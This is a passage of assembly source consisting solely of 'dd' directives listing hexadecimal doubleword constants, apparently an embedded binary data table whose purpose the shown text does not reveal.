3C8ED82Ah, 9CBCC708h dd 21C1F06Ah, 0CDFB80h, 8EB43D7Fh, 0E7430E46h, 6A3C9B0Fh dd 590481FCh, 42F04595h, 4D14A02Ah, 0FE9F805h, 6A1BD954h dd 980291E4h, 994C2548h, 0AAC21148h, 4BD37206h, 23143004h dd 5F082C8h, 86171D51h, 3C5FFC01h, 502438E5h, 438E2ED2h dd 0BFD40860h, 56C06782h, 23209E99h, 0AE093FF4h, 31242092h dd 16592216h, 270620h, 1E98AA75h, 0BA001003h, 83C91318h dd 0C0B4C551h, 2FDBA171h, 0F33A9786h, 3F840D4h, 4E7C6965h dd 59E9C67Ah, 0FF089842h, 6D1521h, 0B6CD3169h, 0BEDCA1EAh dd 2D0FB56h, 0A04C343h, 308C809Bh, 1CA7D359h, 0DF6C5150h dd 7AE20983h, 26C61B80h, 0F6096802h, 2A957DB0h, 0B4080870h dd 638A0FCCh, 0C0145C01h, 0CB508449h, 4D7DC18h, 0F94A0EF0h dd 9738C6D4h, 2A3A19A4h, 81D11E78h, 26FE0204h, 947DCA40h dd 0F5E4A367h, 57AB8219h, 2180D208h, 669445E4h, 0D700A9BEh dd 33187865h, 0D43401h, 758A16EAh, 0F3F1679Eh, 3800C099h dd 87BBA183h, 0F6A203CAh, 67E25C1Ch, 4B8F8EF8h, 0FB970701h dd 8B6B0141h, 4CEC4CE0h, 6C0C1C5Bh, 0BBB19602h, 8DC33A00h dd 26A22510h, 8156618h, 55002185h, 7528C303h, 28771B67h dd 3B90ED8Ch, 0F8289A0Eh, 6FBB0D80h, 8318EF44h, 0EC571960h dd 731000F0h, 2AF4031h, 34A5009h, 389DC45Fh, 8B178040h dd 3E230FEh, 0A8DD90A5h, 0B8F61B32h, 0B70426E2h, 73A9C4C0h dd 30991882h, 7E11696Bh, 0C5886A4Eh, 69531780h, 2C89B755h dd 14009681h, 68802098h, 524E4169h, 16FE448Ch, 0FA695000h dd 0A8EE4417h, 96E204B1h, 8284AB20h, 20E23E92h, 0EC002879h dd 51F9128Bh, 3608007Eh, 0C2E619C8h, 5C036EB2h, 0B8EBFE23h dd 7597807Bh, 523B74C0h, 3850C4ABh, 718803D9h, 5936C4D4h dd 0CE0269F9h, 6A955C79h, 0B980A38h, 2C30C519h, 0FA54BF9h dd 6910CBB1h, 0C43BABE3h, 0C933B3CFh, 8C4C06C1h, 5196B0E1h dd 0F78FDh, 7D2F339h, 0F8E0156Fh, 0ED7E8C00h, 2A1B389Eh dd 0BF40C749h, 0B7D08C1Ch, 0DD50D406h, 89D20Ch, 41753B9Ah dd 0E09269F3h, 50254A0Bh, 0A144042Eh, 800B108h, 60AF6D51h dd 7D29022Fh, 0E3C6AA4Eh, 18859840h, 9BF9A601h, 3D1DC85Bh dd 1233EC64h, 12C54C43h, 5A1C00B0h, 2018C84Bh, 941138B9h dd 0F136C901h, 20499D7Dh, 0CD41D054h, 6C7C4840h, 0DC7279h dd 3C901ADEh, 8652184h, 721DCCB4h, 193EA300h, 0CAD7786Fh dd 4F0D439h, 82B146h, 0D691A6D8h, 8E19283Ch, 88015484h dd 4321C0ACh, 45B8D699h, 58E4EA24h, 0FFB16831h, 18F14020h dd 0C892A4CDh, 44001E82h, 0C1206CBDh, 9A67B559h, 2D14124Ch dd 4CB800E8h, 743C5CF1h, 4FE83B60h, 0C9B87B15h, 0F0245940h dd 8A3CC8A0h, 0D7FEE918h, 0FD9E11h, 0B2E436D9h, 1216416Fh dd 102AE72Ch, 49670C00h, 1A2EC21h, 683EE0A1h, 91444B92h dd 8D8542F0h, 0AEFC0AD6h, 40AF4478h, 0C3D6955Fh, 0F5EC09DFh dd 3C4902C8h, 0A3B6D429h, 2D51FCA0h, 75885B5Dh, 26CCB4Ch dd 9736753Dh, 0FC6088A3h, 0DD113998h, 7F8F0322h, 6E1E5373h dd 64A15120h, 508A3808h, 837C3E84h, 9AB1C8C2h, 90080249h dd 0A36E3F43h, 6F1BF080h, 891CFDCh, 20845100h, 2F8C3B0Fh dd 82CD5F3h, 29E0CB09h, 0E8489C0h, 48A151A6h, 4F8BA0CDh dd 0D00008h, 172708Fh, 7834DB87h, 6081214Eh, 0E3604360h dd 37249021h, 5351D6FEh, 0B88A73Eh, 5C06AF42h, 9C38D3DCh dd 0AC8704ECh, 810C8B56h, 2D71860h, 80244041h, 0E1301696h dd 1B820026h, 0A2D51831h, 469FCD0Bh, 6BD00297h, 0B2E7073Bh dd 0B886AB70h, 8803A89Ah, 0F9F4BFA0h, 7A8900DAh, 0CB90C32Bh dd 0CE308E53h, 3ACCDE0Ah, 86A8053Fh, 0C445B61Bh, 0C7F08033h dd 8902A339h, 558AEA05h, 970048A6h, 42954F5Dh, 0D9209AACh dd 141DBC08h, 9C419F56h, 0D7F031C7h, 3200042Ch, 0A52B1501h dd 0AE08121Ah, 251D65h, 830E995Bh, 100C9266h, 18C1409Ah dd 37185C06h, 40331C12h, 5675E9A0h, 611807E8h, 3F919DB1h dd 996509E0h, 0AC92A796h, 0EEB802Fh, 548A6C21h, 0F93192A9h dd 21B19820h, 2FA20004h, 5028C5BBh, 0A7F85E10h, 3E41A407h dd 0AAD07076h, 3D039BA1h, 0F8D2A331h, 2814CB0Ch, 1EEA149h dd 68A7190Bh, 0BD9048E8h dd 0B0C8D4DEh, 8F014423h, 0BE193AD6h, 5D88A518h, 0D0D60097h dd 4410C627h, 0AF001AE8h, 0C0ABBB7Eh, 49B4291h, 0D51D4A48h dd 3CA303A0h, 0BC01A5EAh, 14DAD1DBh, 0B12D1872h, 1FC45020h dd 0CD020FC0h, 23974C71h, 0CCB8828Ch, 74560326h, 11D0D194h dd 8A0820A0h, 0F45D594Bh, 0D58457C6h, 7A0C08E0h, 0C800BB19h dd 479D487Ch, 0EE09A72h, 5D52102Ah, 6B04097h, 5EF64C9Fh dd 15184EFEh, 24B9940Bh, 4FAF4052h, 23A0C65Ch, 4F401F09h dd 88F1A368h, 48EB83D5h, 12E3C394h, 0A198A7F4h, 7C088AFFh dd 4E20688Dh, 0EC93FE8h, 0FE12007Ch, 4A24A166h, 39148342h dd 0CEF38815h, 9CBC00D4h, 0BA664572h, 99FA26D6h, 7830484h dd 0A148C368h, 28985387h, 9DB03005h, 0B002278Ch, 4ABE10CEh dd 0F0584344h, 925E3CC9h, 0DC5900C4h, 623AA0EBh, 0D0A88602h dd 5F05EEF2h, 1368D942h, 0CA722380h, 0B3410178h, 35C9871Ah dd 123CC4F8h, 3B0F2C92h, 0C0B16401h, 7A0EDF60h, 80D56FE9h dd 72C93C80h, 9812B53Fh, 0A8C0109Dh, 12F0AA6Ch, 82817CAh dd 0B3859CC0h, 0D490FC5Fh, 0FE9DAF16h, 3F84A4F0h, 0E38E5185h dd 0CD6066C9h, 54571A87h, 781D30B4h, 5550FE58h, 9A2D141Fh dd 0F0094D8h, 0F042513Ch, 1E077ED2h, 22EC33B1h, 0DA705F97h dd 0EEA2841h, 0E825922Dh, 0EB81538Eh, 0FC5B7C62h, 707E746h dd 0F34C27D9h, 2C41DDC0h, 4BDF001Eh, 7E70EA30h, 93F0D12Bh dd 0B724D1F9h, 0EF631128h, 0D530E0DCh, 2A451E29h, 2C7E001Eh dd 585070DAh, 2244F8F1h, 4C28EA0Fh, 41230721h, 50DED780h dd 532C2824h, 47E5698h, 0A537E0BEh, 31D50020h, 0DD2C5E44h dd 18A52F7Bh, 506EAB86h, 0CDB40010h, 4D57CAF8h, 0F4042AADh dd 7EAECE37h, 0C6AEC3h, 74C6718h, 7FCCCD18h, 0CF4B800Ch dd 474879h, 0AD82ED9Dh, 83F53E74h, 3CC5C91Ch, 0ECA9AA00h dd 1E7C49h, 0CC0F6532h, 537FD2F8h, 0F3D48600h, 63465B83h dd 0DEFA004Fh, 0D86C8A95h, 0EC07AA76h, 4554D611h, 3C53A211h dd 188372E5h, 0BB7BF547h, 23527005h, 4001A544h, 0FE2AF329h dd 4ED0D983h, 87A7D348h, 32F84C4Ah, 66C03D61h, 7C50B7BBh dd 8C42B5Dh, 7F6D16A2h, 309464D8h, 8D10479Ch, 0C9F7AC5h dd 10C76862h, 101A2328h, 6C0201A3h, 96CC0E93h, 9C67BCA0h dd 0C8609EC0h, 6E92CD40h, 9C4D5051h, 68C5198Ch, 853A7820h dd 59D5F2B1h, 11EB8C28h, 0E3BE5CA9h, 2E80053Eh, 0D41B4998h dd 7E8C406Ch, 0F93713Bh, 0ABEBC809h, 0F30C237Bh, 3132C88Fh dd 4F51CDFh, 32EF66C0h, 4886CE89h, 9A24487Fh, 12C42879h dd 62F3648Ah, 1FD30958h, 0AA00E599h, 0A6F02749h, 87E451h dd 284A3F18h, 214270EBh, 412BEF07h, 5187ED30h, 3178184Bh dd 0E8F30D4Fh, 0F2CA45DDh, 3FCFC780h, 0EF002792h, 0DE54F2Ch dd 0A6EEE844h, 7370044h, 0E4F8D974h, 4AC6BDFh, 31C7AC05h dd 0C34FB6Ah, 0D1010801h, 25F24A2Fh, 63031D3h, 0D0084835h dd 0F8864FF8h, 3A9D83FEh, 657820A0h, 32420992h, 8995410h dd 0FE0548Eh, 3015B64Ch, 213AE6A3h, 1088431Ah, 80117C91h dd 9F089178h, 70400E10h, 0C2264092h, 147C9C9Bh, 0C1692EEh dd 641E0F85h, 650018Ch, 0A9AE023Bh, 5119A428h, 4F124E09h dd 4D484C24h, 4B224A91h, 89494844h, 24471246h, 91454844h dd 44432242h, 0EC8B4140h, 0CA877F4Fh, 5A003C6h, 0F5A3AA8h dd 7BD3C1C6h, 84D152B8h, 5D044ACAh, 84A1765h, 5200BCFAh dd 75377EAh, 3793ED0h, 0C000CD3Eh, 6B83D3F0h, 7400D28Dh dd 0E1EA4550h, 74D07751h, 786F74F9h, 0C86778F1h, 0FC087F40h dd 720108Ah, 0D2ED6B86h, 23F35150h, 0D7489417h, 0FF0487FEh dd 0B37A9255h, 0CE3A0788h, 0C422A53Eh, 72852F38h, 0C0382AD3h dd 0A3DED55Ch, 0E4E38802h, 0E0A1DF19h, 1014E109h, 0AABF0418h dd 565100EEh, 70DB7177h, 0D5EA06DEh, 21F3CC1Ah, 798EFA14h dd 2B00AB38h, 0BE1E2E93h, 553E6E8Fh, 0CF7F1872h, 0F9C618h dd 0D3E7D2FBh, 0CC677CE5h, 8C031CA3h, 8A774B9Bh, 917ACAADh dd 9C7AC728h, 0C18DFE4h, 0AB4110AEh, 30506080h, 2A7F312Fh dd 4C28DB03h, 0E01ED32Eh, 78DDD8E5h, 2DD6004Ah, 627E2651h dd 0E807224Ch, 0E5214F2Fh, 1473F365h, 2747C1D4h, 2B413080h dd 224EDBEFh, 582DDA30h, 7B4228EBh, 4F231D5Ah, 8553C02Ch dd 7FDED231h, 8C2FD338h, 18295E4Bh, 23D60021h, 0DFEC287Ah dd 0B0E9307Fh, 4C2A2880h, 24E71D5Fh, 0DCD9037Eh, 780C5E7Ch dd 31D72246h, 0DEDD7AEAh, 0EE240A59h, 4FA8680Ch, 2C4A2EE0h dd 430A27DBh, 88DCEF21h, 4229EA02h, 0CEDC9825h, 6C870F34h dd 0F02ECA9h, 0E8A0E9CFh, 77054C2Dh, 10CCCD24h, 8C907BAFh dd 8D1975AAh, 43442400h, 0EEAFC7CEh, 0F3C6077Ah, 7E6F3A4Bh dd 0B124E977h, 58C883F2h, 18127B73h, 0A1F16F42h, 6E06AE0Dh dd 59F5C204h, 0D07F1868h, 0D19BA9B2h, 7452AD80h, 4EE51C3Fh dd 5132A00Ch, 84D3E172h, 4C5FF318h, 0CD681E12h, 4A513084h dd 0B1CB0A31h, 59B219DFh, 5174814Fh, 288FF1B5h, 4015F0A8h dd 64637320h, 0A013FE29h, 0C64DF5C5h, 8133A859h, 61C9CA31h dd 2C42B2ABh, 3CC420E1h, 0C8A06D07h, 80FB14AAh, 0D0947B20h dd 764D50A4h, 0A5581271h, 42A003C8h, 5100C66Eh, 0E4D9F48Dh dd 0C15074ADh, 9C648E79h, 56318CC6h, 2A4EB954h, 2FCB037h dd 0C4B1BD51h, 0A4A674A8h, 0B70A9973h, 0DCF69CCDh, 31401824h dd 0C380A544h, 0D0DEAB31h, 97F11814h, 95FB144Ch, 0FA844058h dd 28A4744h, 0AA29BC6Ch, 9120D3ECh, 0C4509D8Ch, 9269CA31h dd 4CAAD138h, 88B01154h, 0C5BBD8E6h, 0A4263C29h, 0FCB8F810h dd 967D2386h, 0D58B831h, 1078210Bh, 86E9B805h, 51E4523h dd 86E9D8Dh, 1057ED28h, 7ED58465h, 42F5103Fh, 0BD111FA2h dd 39881FF2h, 819516Dh, 0C750A765h, 0B515841h, 289FCA09h dd 51669D08h, 8D35083Ch, 0C82C5D45h, 1D468433h, 184AF9A1h dd 5C32E351h, 6E846C48h, 8C2152C8h, 31836D4Fh, 0D03B30BBh dd 5C492106h, 0D46198A9h, 6F118440h, 0B1E901D1h, 41A9AC6h dd 130C58A1h, 3C7C0F0Ah, 5762210h, 4FE28873h, 4E082144h dd 138C3719h, 0D03749FAh, 88CC0FD2h, 0AB8C5074h, 91A13974h dd 2B4601C4h, 8245FAC2h, 48C16611h, 95A093A5h, 0EA599863h dd 334E6C8h, 8B668FD9h, 41007F51h, 5BBAF967h, 0B14BC8h dd 0F6B439Ah, 455AAD47h, 0D979A600h, 376FC020h, 95C9A14h dd 57C1B853h, 0EAAB0483h, 2C1F7100h, 0E77D29E2h, 692D000Bh dd 1D97DEA3h, 31006EB9h, 8F95A673h, 78F330C2h, 83900046h dd 0D43E2BE2h, 6C00D992h, 704DA9F9h, 0A38B6050h, 0F81895DCh dd 0FC64EC18h, 9FF1086Eh, 0C903498Ch, 8B8E692Ah, 809CA04Eh dd 0A6FB804Ch, 0A5E1EE04h, 64C09961h, 2D5209h, 3BB3BA3h dd 0E7C0F5F1h, 5505EC98h, 0F0A7FB30h, 20765882h, 78501CC8h dd 27ABF0C5h, 91AA041h, 0B3087E0h, 0AD5C0075h, 0C6D5EBE8h dd 0A8344A05h, 5DC0290Bh, 3CDE2Dh, 9C5085D9h, 72077C8Bh dd 0D516100h, 58C88F1Eh, 2230C07Fh, 0A63AEC0Fh, 0E2BBDF00h dd 381068F7h, 23ACA009h, 3D2A00B0h, 1E21A3E0h, 7F085F1h dd 3C73971Fh, 3BC5BDC2h, 0DCED600Eh, 0CCBA0F31h, 0AEAE11D8h dd 0FF802D80h, 0BC023FC5h, 0BF29D4C1h, 8EC8E1CCh, 72DEC9F0h dd 0C574ACh, 2DCBC8AAh, 2C2473E0h, 0C9A5AF03h, 17FDB9DCh dd 0EFEA840h, 0CABEB4FCh dd 4040B22Ah, 0C1FDB12Ch, 0B0BC2F07h, 0C7470F6Eh, 9BBDDCD2h dd 0C2983930h, 1CCCAF94h, 22C9ABC2h, 0C29E5020h, 2EBAE3DCh dd 6E0260D3h, 6F732053h, 220604B7h, 0F70CCAEh, 6518BEAFh dd 50DBF801h, 0B3184C23h, 31C5C100h, 1AD6FEB5h, 0DB850AEFh dd 0E12CAFD9h, 40BDDEDCh, 81EFDFC4h, 87376E05h, 38633285h dd 1DD7E053h, 0C79A0737h, 4A802EDFh, 58B25114h, 33007340h dd 24D7F537h, 75D1B327h, 0C2842AC9h, 0DBC53AF8h, 94BFEA94h dd 0AF0447ABh, 0DE883E80h, 94070C3Ah, 8F023FA1h, 84A00AC7h dd 1DFD1FEh, 1FDDCCACh, 0F2CBD7F1h, 0AFA3006Bh, 200928C6h dd 2E34DB8Ch, 0FAB3A098h, 2C871F14h, 2411D8CFh, 84DF0C40h dd 0FC045028h, 0A9DE32FEh, 6C4020C9h, 0E3C1BF37h, 56D3BDE5h dd 1B0D7450h, 491F561h, 0FF042B60h, 302BBE00h, 0DCDFC5B5h dd 2CD7C04Ch, 7092902Ch, 481C4062h, 0E2F0E58h, 2DD4C8B1h dd 304858Fh, 0DFD0C0B7h, 24F087BDh, 40C68131h, 0C030FCAEh dd 3FF79C3h, 0D193AF31h, 10A6AD23h, 6000CCE8h, 0DDCF8044h dd 58C8B229h, 0D01670DBh, 8A8B0FDAh, 80B37004h, 0FFB925A0h dd 0CBAF10C6h, 0C8BD2460h, 93AC00ACh, 0CCB529DAh, 0B8600E78h dd 0C2A87040h, 0DE80E8D5h, 3ABA1EC8h, 30BB2298h, 0D5F8C023h dd 0A020D3F1h, 2DE7129h, 31D8CAB3h, 18C685B4h, 4AD50487h dd 0DEC250F8h, 93782D78h, 0F281D4B9h, 0C32CD6FDh, 623C6066h dd 27C9A400h, 0DDDB93BDh, 0D2B8AE49h, 0A8DD1870h, 4CF090CFh dd 250E1CB8h, 2280FFB3h, 70DCCCB0h, 61F8813Eh, 28DAC290h dd 50E27C61h, 0DEC70287h, 531CC481h, 4234051h, 3BBEF05Dh dd 0C4B22C73h, 0C7C59C16h, 38CCB40Bh, 4CCB93E4h, 0D1CB0C31h dd 0C3AC9801h, 0CCDC60CAh, 0D3D821E9h, 0FE2C287Ch, 349C4C5h dd 16C9931Ch, 1423DB09h, 0CCA7E4C4h, 0C0B2FE50h, 2862691Eh dd 3804202Eh, 10C3FCB2h, 0AF691FBDh, 0B72E0EC2h, 2091DB8Bh dd 2C96F223h, 21F83C90h, 0DAFEBD04h, 34C1B131h, 0F880B3D8h dd 0DDC2BE70h, 98F9AD20h, 180F2B0h, 9018A4BCh, 2FFA2650h dd 8FFCD738h, 0D7C05704h, 5B876533h, 628420A2h, 0CA10FBADh dd 0F1B42350h, 0CB180B7Ch, 0DAC82037h, 71CCAD0Dh, 7868A7DCh dd 3F00C5DEh, 2CDAFCBBh, 0E1DCFAB2h, 0A296474h, 2DC7CCB4h dd 0F89AAD54h, 0B0C05020h, 0C305083Eh, 0B3DED8ACh, 0B8DA20C0h dd 38C25CC8h, 0C3D6CC13h, 0B9A3CB44h, 3CE479DFh, 6E60D49Eh dd 71FFBC0Ah, 0C8AA0025h, 0C4B223D8h, 0AC2E22C5h, 0B90F8CDDh dd 8124ABD0h, 98032990h, 822125D0h, 0CBAA50C0h, 0C521C167h dd 0C970AC97h, 4FC8AF2Fh, 2D5049DFh, 503CC86Ch, 8F68E092h dd 28303DAEh, 5280D0B5h, 9EEC34B1h, 142FEC96h, 0F0348550h dd 7DE3DFC7h, 0D09BC090h, 7B72CDCh, 93100ECCh, 0B10C40A8h dd 0DE09DFC1h, 2FC6FAC0h, 0AB2C8000h, 7431D8FFh, 0C8C150BEh dd 3A309C93h, 0E090CA2Dh, 809CA220h, 0C3923821h, 3E8F102Fh dd 0DCD8D081h, 1AE8BE8Fh, 0F828CEB9h, 9C731260h, 0AE1C00C1h dd 0B928D793h, 0BC20C760h, 3ADEDAFBh, 291ECE81h, 0B80BE7B3h dd 2E73E0B8h, 44AEC4A1h, 0E68C2180h, 8FF83993h, 0DC22AACDh dd 0B3213E06h, 0A3AFFA88h, 0AEC0A1DCh, 0D81ED044h, 0B11F24DEh dd 0C6BF2344h, 0A3C304C1h, 0FE808040h, 0D96439C5h, 54B0C828h dd 0C293F0FFh, 2EC2BA60h, 8580DCF9h, 93B523CBh, 0DAE9C8C4h dd 9458FE14h, 6ED2DCF4h, 0B4860D6h, 0C364D1C1h, 0C97FD444h dd 44C7B024h, 0D2F48014h, 0F03D6499h, 1420FC24h, 300FE4BCh dd 0DEA7DDC3h, 0E8C9C6ACh, 0BBC0A460h, 962DDCC8h, 80F55F00h dd 1D598CE0h, 3A04763Dh, 2341466Dh, 0A0801C0Fh, 397948FDh dd 61BF1300h, 0D4FF53F8h, 26DA0306h, 499DED59h, 403922h dd 9C3E5FC1h, 375B0D19h, 48C339h, 1EB17BF9h, 1E575C35h dd 83CC0130h, 5E4D446Ah, 8045D1D9h, 0D9DC6F48h, 17DADEEh dd 53654AC7h, 0C43E98ACh, 96183056h, 0C868DF15h, 7BE25Dh dd 8DE4DDAAh, 6549791Ch, 0D70F5207h, 9D63CE37h, 73200272h dd 0DE937BDBh, 7AF2209Eh, 10C6008Ch, 0DDB4A8F1h, 2606EF99h dd 4F46DA20h, 82E4E9h, 0A4C9CF2Eh, 9CD06A8Fh, 217D08CCh dd 2E8A0F0Ah, 0E92107B9h, 8FC161ADh, 260C6D0h, 80DA558Dh dd 0B5A0F108h, 0C42078EEh, 457DF9B8h, 900449DAh, 0DF417775h dd 923BA3CFh, 54A43838h, 0AF500E2h, 224D4108h, 3B56335Fh dd 48D1201Ch, 5580009Bh, 39EBE715h, 0BF6C6D00h, 0A6E0DB87h dd 21351B57h, 90C0386Eh, 0B1281CF9h, 0D318084Fh, 0E67964EAh dd 9F5500CDh, 0F0BD4D47h, 0AD5033B1h, 0D545D9E0h, 18E868E0h dd 2897CD95h, 7B02FF23h, 0AEE68E03h, 66489198h, 1C99DE1Dh dd 903B0279h, 8C0A8D7Ch, 6C5E6203h, 0F98EDF7Ch, 8885FF31h dd 60A12029h, 302E89E0h, 118CC823h, 9111007Bh, 0DB0DFA2Eh dd 69980961h, 282C556Ch, 0BE619DB8h, 6A5B4308h, 0A80A824h dd 4ACFC1FDh, 0B323FCE4h, 6480380Bh, 0AC9FB56Dh, 0CA050D57h dd 0B951AAF6h, 4699D600h, 40C644h, 6D56ACA2h, 0D209FF14h dd 32281E00h, 1831C360h, 0E8877725h, 39BE6083h, 7071D019h dd 152AA401h, 5D8DC613h, 0B02EF0h, 0C2CE56DAh, 1AB89F3Eh dd 0BE96B19h, 3C485240h, 0E00C8EF9h, 38B91A26h, 0E5641843h dd 58BDB8C0h, 0E2EBE802h, 0B2A259h, 0E5D95EB9h, 5CB5B000h dd 8802E35Bh, 67440322h, 8F0D99C2h, 0A60028DEh, 47BF677h dd 39DD05E0h, 0DCBAD8AAh, 0B8996C00h, 7BEE9CA6h, 1C2479E6h dd 8018A476h, 0A5A2CCE8h, 3D210A0h, 285F7924h, 0E04006A1h dd 0B8BA8E1Eh, 8C44450Ah, 88486C43h, 3C046F51h, 8CAE7B20h dd 0B99C114h, 7BF48068h, 43F5E002h, 6B22DCh, 677BEC9Ah dd 0CCA81ABEh, 4E24A106h, 18D879E8h, 28B6E6B5h, 0CA548157h dd 0C7928C8h, 0FA00A07Bh, 8FB871EFh, 3F4091Ah, 23EE2718h dd 6100E4B6h, 6743F357h, 60462EE3h, 2C7EB8D3h, 94A0A151h dd 0B90D03AAh, 319D3FF8h, 6A12DCh, 0CB0D22B2h, 0CAFD1A5Bh dd 21C0B1E8h, 936A0ADBh, 0C3D30008h, 33BC9206h, 50C1C80Dh dd 0B27A1E80h, 37206880h, 1151D2B7h, 0A0EE5809h, 0C60820AAh dd 3165CB4h, 0BCBDC430h, 8759C27h, 0ACEB21C1h, 0CC57D5Ch dd 54CC6EE0h, 44E08863h, 0C700EC9Eh, 45F32165h, 0C2D26F2Ch dd 0CA56E280h, 77B7E0A0h, 74EC2354h, 8F408A65h, 3DCABC20h dd 0F2B40005h, 25714416h, 623F5E9Dh, 28C69EC0h, 6D464DC1h dd 40EA92DDh, 409F098h, 43F93359h, 0A77806Fh, 0D8A0E7ABh dd 0A5807D2Ch, 0C4BF300Dh, 0EC45C230h, 33187E60h, 80F1B0DDh dd 0CF0A72FFh, 8C899909h, 9194EF11h, 0CC30170Ah, 40BFC48Ch dd 0CA5CADECh, 71EB02C3h, 0A63FDAB4h, 54F588A3h, 89D680D0h dd 0C1AC4503h, 8F9A274Fh, 5166E873h, 0D002DC88h, 3C4101D0h dd 1DDC24F5h, 0AEB21F18h, 498EFB18h, 0EC006061h, 4382EB60h dd 0CC0021E7h, 0F2981A96h, 0E02C2F38h, 6A2E15E2h, 0CF00F8ADh dd 307529C7h, 94EF4B0Dh, 0C1E098F0h, 0BA02E531h, 1F438448h dd 583E2662h, 152F2090h, 98B88F54h, 21278900h, 0AD2C419Eh dd 66A8C2B9h, 6C64C326h, 25293203h, 277E846h, 26E30740h dd 7445BC6Ah, 4652A301h, 20C877F9h, 73740090h, 0E6486192h dd 5612D48Ah, 5C41DE4Fh, 9DA943E1h, 1E883883h, 1856AAC2h dd 5CC12634h, 0F6D465Eh, 233DFDBh, 0A0A44177h, 0F090BBDCh dd 61690EADh, 0E9C4A5DCh dd 0EA3C822Fh, 0F911D00Ah, 0B36A1380h, 448C1522h, 0B0EDCB4h dd 0C0EE7C6Ah, 0C17FB149h, 0FA8CA323h, 9D4C14CDh, 8CB0E800h dd 0CC02FF90h, 0E1E60D3h, 0BB0048D4h, 7377025Dh, 0C592F530h dd 9FE0A114h, 0D8A31A10h, 0F07ABD12h, 482E9064h, 0DCF48C79h dd 0C59C4F03h, 0E77E43E8h, 876972A0h, 0A8C25073h, 9CE9405Eh dd 64F87519h, 0F0236C90h, 0A722E001h, 24BC81A9h, 1AE0D930h dd 0FB41F401h, 0EB399D7Bh, 21D3089Bh, 0B61AF8D8h, 51DADC0Ah dd 41008528h, 675C9B02h, 2C420A23h, 2BB4BAD9h, 0AD683230h dd 81A0430h, 7C1B41F8h, 0FF40D264h, 34C51AFCh, 0A9A81E1Ch dd 10409509h, 0AD7520h, 1AE2E8Bh, 0CA5F5CF1h, 0DAE4D108h dd 60F212C6h, 8F58665Ch, 9C28A624h, 2079C808h, 0C7FA2090h dd 0A03E5F1Ch, 66ED0CE0h, 4489BF23h, 0E3F9343Bh, 9C52649h dd 5E2EC819h, 36E08420h, 892C992h, 6A0D9A02h, 48688F3Ch dd 0C43884h, 0CD3083B1h, 36BA3A49h, 14CE3100h, 0BE3433F2h dd 0D76B1353h, 291C71B6h, 0E143327h, 0D8E0120Ch, 21759DC8h dd 1A086354h, 201D51C1h, 0BD67AE80h, 31004A99h, 1D120DACh dd 4DA659B1h, 2638CC5Fh, 10584848h, 4848E6DEh, 19281Eh dd 0FFC563ABh, 0F5044B71h, 5DD03E22h, 85EF7094h, 9EB030A2h dd 0A74D42A8h, 4E0E00E0h, 672DE194h, 0A0D15419h, 21BA60A2h dd 1BD26D2Fh, 211FBE72h, 0E500185Bh, 0F644669Ch, 115E0B8Bh dd 8E06B828h, 160560A5h, 6FEBB174h, 0E30C5C20h, 50349891h dd 9AC7CE81h, 212C13F8h, 23603EB6h, 0E014A66Bh, 2BE74727h dd 0FF9D6000h, 4FC86839h, 0C6A33F21h, 20907516h, 0F5CA3624h dd 701F8F02h, 0B066261Eh, 29ECCFF0h, 4BC0E7C2h, 539F8004h dd 5AA0B404h, 0C9832842h, 59CEA0A0h, 741DC4EAh, 43401086h dd 0AD06B046h, 2AF8245Eh, 9CD108C4h, 6958A700h, 5917288Fh dd 0DE89F012h, 60A8CC04h, 72F31AFFh, 227B4341h, 0F7FA00D5h dd 54334C1Ah, 430EBABFh, 0E99422E5h, 0EC584890h, 0E3700079h dd 5DF6384Fh, 3F12474Bh, 941CB508h, 6790BA00h, 902BFCBh dd 82E61922h, 0E487DC49h, 0BA5D45C3h, 1EF9802Ch, 1E659D5Fh dd 0C5B9126Eh, 0CA824C75h, 0C8811834h, 0EB2249h, 0E98B3C8Eh dd 965891CAh, 0D167C700h, 39F2FFC1h, 56060980h, 9C8222DFh dd 0E8442BC8h, 20F08258h, 2920A0D3h, 0FC6082C1h, 28B1C8FAh dd 3DA29B40h, 488BAF0h, 0AB85BC0Eh, 0D9C0925Fh, 608CB704h dd 0D01E18E4h, 3BC118DFh, 13AF8920h, 2F236A56h, 0D52394h dd 4726D342h, 890125A0h, 303AA88Eh, 0C35DAE5h, 5BF4D841h dd 0CE948304h, 2418CAA4h, 0E1190E9h, 57BF780h, 448C0DE0h dd 0EF009D71h, 82D48C7Bh, 1E33BB9h, 0A24E20BBh, 0E10D790Fh dd 42DC2667h, 306DE230h, 64135E9Ch, 1840B4A2h, 0E53547Ah dd 435D00F9h, 0D27E16B0h, 0BE093356h, 1B348824h, 20F81208h dd 23A02086h, 664C684Eh, 0C55E849Ch, 0AD3FA803h, 0F52E617Ch dd 1982D89Ah, 7055CC76h, 1D660B2Ch, 22A813h, 0AD215C34h dd 10C019F9h, 9361240h, 0AEE80DD5h, 7851EE39h, 0C518C371h dd 0A4B0D703h, 80285AF9h, 5867888Ch, 2BC8401Dh, 0CCFE4E61h dd 44E01802h, 0F980BCDAh, 59B063A1h, 0FFB04736h, 8404AB75h dd 0A2406163h, 0D4C134D0h, 0E336064Dh, 0D03432E4h, 4CA8082Eh dd 1180F711h, 522B16Ah, 9DA0B87h, 3880C480h, 6C0B98B7h dd 0A02933C2h, 0E19AC108h, 0C9A4E43Bh, 409D9911h, 0B380CF11h dd 833B88E0h, 8107D4B1h, 0D4A3A2CFh, 0A15819C7h, 208CF9B8h dd 0F20F2D14h, 23DA7912h, 8070E853h, 18677F13h, 0C1AB4111h dd 0AC00A1D4h, 0C3B2837Ah, 148BDDh, 0CECF37CAh, 0B81D5633h dd 0CC223C4Ah, 0DDEBC050h, 24927Eh, 54E69952h, 8BA622C4h dd 0AFAA2614h, 0C45868CCh, 0DBE20340h, 344FF0A5h, 3A20B39Eh dd 1FD32384h, 2107C009h, 149C3CA8h, 5C75A509h, 0ED78216Bh dd 9881E25Ah, 0E37643FFh, 0DB78D059h, 0B4325610h, 611BB807h dd 73BCF31Ch, 0CBA63800h, 0E2FA08B2h, 78711259h, 0DD8C4B5Fh dd 28C5F0Ah, 1DB5626h, 0F52BA500h, 152A0C10h, 9920D4AFh dd 0A7142D7Dh, 0E02070ECh, 8682FECAh, 4AE53208h, 462204DFh dd 64CD09Ch, 0D0A8AD41h, 0FC2E61ABh, 0C3020019h, 0DFB918AEh dd 0C8693A60h, 9E038426h, 10266709h, 4D5C420Ch, 0B800E035h dd 1A287924h, 0DB2E3472h, 62EEFCC8h, 0E8A8162Eh, 4F6898h dd 0D90D4C62h, 576E5D7Ah, 43406894h, 99C53D34h, 0B12B61E8h dd 32E208BAh, 0A7299D3Bh, 0B379F451h, 36028B18h, 74A07A98h dd 0E170616Fh, 9411A261h, 